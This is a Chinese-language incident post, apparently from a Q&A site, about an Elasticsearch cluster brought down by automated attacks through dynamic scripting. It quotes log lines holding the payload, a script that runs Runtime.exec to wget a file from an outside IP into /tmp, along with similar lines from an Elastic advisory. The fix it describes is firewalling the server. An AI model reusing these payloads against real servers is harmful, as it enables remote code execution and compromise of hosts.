Elasticsearch在每个搜索请求上超时，直到重新启动

Elasticsearch在每个搜索请求上超时，直到重新启动

问题解决了：

tl; dr：

原因： 对不安全的服务器的自动攻击。

根据elasticsearch发表的文章：

https://www.elastic.co/blog/scripting-
security/

1.不要对公众开放Elasticsearch

采取的行动： 我们在人偶服务器中添加了iptables规则，以应用所有的Elasticsearch服务器。

我们犯了那个错误，不幸的是我们付出了代价。我们现在又回来跑步了。

调查-较长的部分

根据日志，我发现一些非常可疑的东西

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("rn");}sb.toString();"}}, "size": 1}]]

我将修剪主要部分：

exec("wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3")

这是机器人入侵的一种形式，因为我们没有一个叫xiao的人，或者我们没有在中国托管我们的服务器（根据GEO-IP），所以我们怀疑这条线。

根据上述文章：

最近，我们发现恶意用户利用公开可用的Elasticsearch服务器来访问主机系统。有几种方法可以监视您是否受到此安全漏洞的影响。

最近的攻击正在生成类似于以下内容的Elasticsearch日志：

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]After vulnerable systems have been exploited, the infected system is running pre in the /boot/.iptables file as well as modified /etc/init.d scripts.

您还应该监视异常的系统负载，并对系统进行彻底的审核。

确保如果检测到任何被利用的系统，则在删除或重新安装受影响的系统后，请按照上述步骤保护您的Elasticsearch节点。

黑客应用了一些令人讨厌的查询，使我们的Elasticsearch停止运行。

我们重新启动了服务器并添加了Iptables，我们又恢复了业务。